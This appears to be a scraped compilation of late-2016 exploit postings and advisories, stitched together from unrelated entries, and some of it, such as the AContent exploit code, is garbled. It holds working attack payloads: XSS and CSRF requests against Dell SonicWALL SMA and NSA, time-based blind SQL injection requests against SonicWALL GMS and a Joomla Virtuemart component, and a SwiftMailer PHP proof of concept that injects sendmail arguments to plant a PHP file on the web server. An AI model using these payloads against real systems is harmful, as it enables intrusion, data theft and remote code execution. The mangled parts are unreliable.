AContent CMS 1.3 Cross Site Scripting

AContent CMS 1.3 Cross Site Scripting
Posted Dec 31, 2016
Authored by M.R.S.L.Y

AContent CMS version 1.3 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 1e41f1f0d3acedad385caa58b0da75c8
|*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*|
|=============================================================|
|[+] Exploit Title:A Cross Site Scripting in AContent Content Management System
|[+]
|[+] Exploit Author: Ashiyane Digital Security Team
|[+]
|[+] Download Link : https://sourceforge.net/projects/acontent/files/AContent-1.3.tar.gz/download
|[+]
|[+] Version : 1.3|[+]
|[+] Vendor : http://www.atutor.ca/acontent/
|[+]
|[+] Tested on:A Kali Linux
|[+]
|[+] Date: 12 /29 / 2016
|=============================================================|
|[+] Vuln Path : http://www.site.go.th/AContent/install/install.php
|[+] Method : POST
|=============================================================|
|[+] Exploit Code:
A

A A A
A A A
A A A " />
A A A
A A A
A A A A A A A

A A A

|*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*|
|[+] Discovered By : M.R.S.L.Y
|*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*||*|

Dell SonicWALL Secure Mobile Access SMA 8.1 CSRF / XSS

i>>?
Dell SonicWALL Secure Mobile Access SMA 8.1 XSS And WAF CSRF

Vendor: Dell Inc.
Product web page: https://www.sonicwall.com/products/secure-mobile-access/
Affected version: 8.1 (SSL-VPN)

Summary: Keep up with the demands of todayas remote workforce. Enable secure
mobile access to critical apps and data without compromising security. Choose
from a variety of scalable secure mobile access (SMA) appliances and intuitive
Mobile Connect apps to fit every size business and budget.

Desc: SonicWALL SMA suffers from a XSS issue due to a failure to properly sanitize
user-supplied input to several parameters. Attackers can exploit this weakness
to execute arbitrary HTML and script code in a user’s browser session. The WAF was
bypassed via form-based CSRF.

Tested on: SonicWALL SSL-VPN Web Server

Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic
@zeroscience

Advisory ID: ZSL-2016-5392
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5392.php

Firmware fixed: 8.1.0.3
Issue ID: 172692
http://documents.software.dell.com/sonicwall-sma-100-series/8.1.0.3/release-notes/resolved-issues?ParentProduct=869

26.01.2016

Reflected XSS via protocol parameter (GET):
——————————————-

https://127.0.0.1/cgi-bin/ftplauncher?protocol=sftp:&bmId=55

XSS via arbitrary parameter (GET):
———————————-

https://127.0.0.1/cgi-bin/handleWAFRedirect?hdl=VqjLncColvAAAF4QB2YAAAAT&=zsl

XSS via REMOTEPATH parameter (GET):
———————————–

https://127.0.0.1/cgi-bin/soniclauncher?REMOTEPATH=//servername/share/&bmId=59

WAF Cross-Site Request Forgery PoC:
———————————–

POST /cgi-bin/editBookmark HTTP/1.1
Host: 127.0.0.1

bmName=%2522%253e%253c%2573%2563%2572%2569%2570%2574%253e%2561%256c%2565%2572%2574%2528%2533%2529%253c%252f%2573%2563%2572%2569%2570%2574%253e%250a&host=2&description=3&tabs=4&service=HTTP&screenSize=4&screenSizeHtml5=4&colorSize=3&macAddr=&wolTime=90&apppath=&folder=&appcmdline=&tsfarmserverlist=&langsel=1&redirectclipboard=on&displayconnectionbar=on&autoreconnection=on&bitmapcache=on&themes=on&rdpCompression=on&audiomode=3&rdpExperience=1&rdpServerAuthFailAction=2&charset=UTF-8&sshKeyFile=&defaultWindowSize=1&kexAlgoList=0%2C1%2C2&cipherAlgoList=&hmacAlgoList=&citrixWindowSize=1&citrixWindowWidth=0&citrixWindowHeight=0&citrixWindowPercentage=0&citrixLaunchMethod=Auto&forceInstalledCheckbox=on&icaAddr=&vncEncoding=0&vncCompression=0&vncCursorShapeUpdates=0&vncUseCopyrect=on&vncRestrictedColors=on&vncShareDesktop=on&MC_App=inherit&MC_Copy=inherit&MC_Print=inherit&MC_Offline=inherit&name=1%22+javascript%3Aconfirm(251)%3B&type=user&owner=zslab&cmd=edit&parentBmId=0&ownerdomain=ZSLAB&serviceManualConfigList=undefined&wantBmData=true&swcctn=1NcP8JhUY10emue9YQpON1p2c%3D6P0c9P&ok=OK

Dell SonicWALL Network Security Appliance NSA 6600 XSS

i>>?
Dell SonicWALL Network Security Appliance NSA 6600 Reflected XSS

Vendor: Dell Inc.
Product web page: https://www.sonicwall.com/products/sonicwall-nsa/
Affected version: NSA 6600 running SonicOS Enhanced 6.2.4.3-31n
WXA 4000 running 1.3.2.0-07
SafeMode 6.1.0.11

Summary: Uncompromising security and performance for emerging large organizations.
The NSA 6600 network security appliance delivers best-in-class protection, speed
and scalability with 12 Gbps throughput and up to 6000 VPN clients.

Desc: SonicWALL NSA suffers from a XSS issue due to a failure to properly sanitize
user-supplied input to the ‘curUserName’ GET parameter in the ‘appFirewallSummary.html’
script. Attackers can exploit this weakness to execute arbitrary HTML and script code
in a user’s browser session.

Tested on: SonicWALL
MySQL/5.0.96-community-nt
Apache-Coyote/1.1
Apache Tomcat 6.0.41

Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic
@zeroscience

Advisory ID: ZSL-2016-5391
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5391.php

26.01.2016

https://127.0.0.1/appFirewallSummary.html?curSrcAddrString=&curTSAIdNum=0&curUserName=test”;alert(‘XSS’)//

Dell SonicWALL Global Management System GMS 8.1 Blind SQL Injection

i>>?
Dell SonicWALL Global Management System GMS 8.1 Blind SQL Injection

Vendor: Dell Inc.
Product web page: https://www.sonicwall.com/products/sonicwall-gms/
Affected version: 8.1
8.0 SP1 Build 8048.1410
Flow Server Virtual Appliance

Fixed in: 8.2 (VR-2016-01-C0V)

Summary: Provide your organization, distributed enterprise or managed
service offering with an intuitive, powerful way to rapidly deploy and
centrally manage SonicWall solutions, with SonicWall GMS. Get more value
from your firewall, secure remote access, anti-spam, and backup and recovery
solutions with enhanced network security monitoring and robust network
security reporting. By deploying GMS in an enterprise, you can minimize
administrative overhead by streamlining security appliance deployment
and policy management.

Desc: Dell SonicWALL GMS suffers from multiple SQL Injection vulnerabilities.
Input passed via the GET parameters ‘searchBySonicwall’, ‘firstChangeOrderID’,
‘secondChangeOrderID’ and ‘coDomainID’ is not properly sanitised before being
returned to the user or used in SQL queries. This can be exploited to manipulate
SQL queries by injecting arbitrary SQL code.

Tested on: SonicWALL
MySQL/5.0.96-community-nt
Apache-Coyote/1.1
Apache Tomcat 6.0.41

Vulnerability discovered by Gjoko ‘LiquidWorm’ Krstic
@zeroscience

Advisory ID: ZSL-2016-5388
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5388.php

Vendor: https://support.sonicwall.com/product-notification/215257?productName=SonicWALL%20GMS

26.01.2016

Blind SQL Injection via several parameters:

– searchBySonicwall (GET)
– coDomainID (GET)
– firstChangeOrderID (GET)
– secondChangeOrderID (GET)

PoC:

#1

GET /sgms/TaskViewServlet?page=taskView&level=1&node_id=null&screenid=15200&unused=&help_url=&node_name=null&unitType=0&searchBySonicwall=null’%2b(select*from(select(sleep(6)))a)%2b’ HTTP/1.1
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36
Referer: http://127.0.0.1/sgms/content.jsp
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: JSESSIONID=DF100D251227D2BCF4DE79779C0B57E3; JSESSIONID=36E7B71D9E7367E56E005E279BCBECED; SSOSESSIONID=DF100D251227D2BCF4DE79779C0B57E3
Connection: close

#2

GET /sgms/Logs?page=logView&searchByCO=Workflow%20Change%20Order%20Example&coDomainID=DMN0000000000000000000000001’%2b(select*from(select(sleep(6)))a)%2b’&level=1&node_id=null&screenid=15150&unused=&help_url=&node_name=null&unitType=0&searchBySonicwall=null HTTP/1.1
Host: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36
Referer: http://127.0.0.1/sgms/content.jsp
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: JSESSIONID=DF100D251227D2BCF4DE79779C0B57E3; JSESSIONID=36E7B71D9E7367E56E005E279BCBECED; SSOSESSIONID=DF100D251227D2BCF4DE79779C0B57E3
Connection: close

#3

GET /sgms/workflow?page=fetchCompareScreens&firstChangeOrderID=CHO14532479280350040102377D2’%2b(select*from(select(sleep(6)))a)%2b’&secondChangeOrderID=CHO14520472477130040102377D2&_dc=1453805798333&node=root HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36
X-Requested-With: XMLHttpRequest
Accept: */*
Referer: http://127.0.0.1/sgms/viewdiff.jsp
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: JSESSIONID=DF100D251227D2BCF4DE79779C0B57E3; JSESSIONID=36E7B71D9E7367E56E005E279BCBECED; SSOSESSIONID=DF100D251227D2BCF4DE79779C0B57E3
Connection: close

#4

GET /sgms/workflow?page=fetchCompareScreens&firstChangeOrderID=CHO14532479280350040102377D2&secondChangeOrderID=CHO14520472477130040102377D2’%2b(select*from(select(sleep(6)))a)%2b’&_dc=1453805798333&node=root HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.111 Safari/537.36
X-Requested-With: XMLHttpRequest
Accept: */*
Referer: http://127.0.0.1/sgms/viewdiff.jsp
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: JSESSIONID=DF100D251227D2BCF4DE79779C0B57E3; JSESSIONID=36E7B71D9E7367E56E005E279BCBECED; SSOSESSIONID=DF100D251227D2BCF4DE79779C0B57E3
Connection: close

GRIZZLY STEPPE – Russian Malicious Cyber Activity

Original release date: December 29, 2016

The Department of Homeland Security (DHS) has released a Joint Analysis Report (JAR) that details Russian malicious cyber activity, designated as GRIZZLY STEPPE. This activity by Russian civilian and military intelligence services (RIS) is part of an ongoing campaign of cyber-enabled operations directed at the U.S. government and private sector entities.

DHS recommends that network administrators review the Security Publication for more information and implement the recommendations provided.


This product is provided subject to this Notification and this Privacy & Use policy.

SwiftMailer Remote Code Execution

/*

SwiftMailer <= 5.4.5-DEV Remote Code Execution (CVE-2016-10074)

Discovered/Coded by:

Dawid Golunski
https://legalhackers.com

Full Advisory URL:
https://legalhackers.com/advisories/SwiftMailer-Exploit-Remote-Code-Exec-CVE-2016-10074-Vuln.html

Exploit code URL:
https://legalhackers.com/exploits/CVE-2016-10074/SwiftMailer_PoC_RCE_Exploit.txt

Follow the feed for updates:

A simple PoC (working on Sendmail MTA)

It will inject the following parameters to sendmail command:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fattacker\]
Arg no. 4 == [-oQ/tmp/]
Arg no. 5 == [-X/var/www/cache/phpcode.php]
Arg no. 6 == [“@email.com]

which will write the transfer log (-X) into /var/www/cache/phpcode.php file.
Note /var/www/cache must be writable by www-data web user.

The resulting file will contain the payload passed in the body of the msg:

09607 <<< Content-Type: text/html; charset=us-ascii
09607 <<<
09607 <<<
09607 <<<
09607 <<<
09607 <<<

See the full advisory URL for the exploit details.

*/

// Attacker’s input coming from untrusted source such as $_GET , $_POST etc.
// For example from a Contact form with sender field

$email_from = ‘”attacker\” -oQ/tmp/ -X/var/www/cache/phpcode.php “@email.com’;

// ——————

// mail() param injection via the vulnerability in SwiftMailer

require_once ‘lib/swift_required.php’;
// Mail transport
$transport = Swift_MailTransport::newInstance();
// Create the Mailer using your created Transport
$mailer = Swift_Mailer::newInstance($transport);

// Create a message
$message = Swift_Message::newInstance(‘Swift PoC exploit’)
->setFrom(array($email_from => ‘PoC Exploit Payload’))
->setTo(array(‘[email protected]’, ‘[email protected]’ => ‘A name’))
->setBody(‘Here is the message itself’)
;
// Send the message with PoC payload in ‘from’ field
$result = $mailer->send($message);

?>

Joomla aWeb Cart Watching System For Virtuemart 2.6.0 SQL Injection

# Exploit Title: Sqli Blind Timebased on Joomla + Viertuemart + aweb-cartwatching-system/aweb-cartwatching <= 2.6.0
# Date: 28-12-2016
# Software Link: http://awebsupport.com/products/aweb-cartwatching-system
# Exploit Author: Javi Espejo(qemm)
# Contact: http://twitter.com/javiespejo
# Website: http://raipson.com
# CVE: REQUESTED
# Category: webapps

1. Description

Any remote user can access to the victim server trough a SQLI Blind Injection on a component of aweb_cartwatching_system and aweb_cart_autosave
This the code that has the parameters with the parameters not sanitized

2. Proof of Concept

option=com_virtuemart&view=categorysearch’ RLIKE (SELECT * FROM (SELECT(SLEEP(5)))sgjA) AND ‘jHwz’=’jHwz&task=smartSearch and it works and I can access to every database on the client system launching other queries.

3. Solution:

Update to version 2.6.1 from the update center of joomla.
The Joomla vel publish the vulnerability on
Answer from Joomla VEL “We have added it to the VEL here: https://vel.joomla.org/resolved/1897-aweb-cart-watching-system-2-6-0
http://awebsupport.com/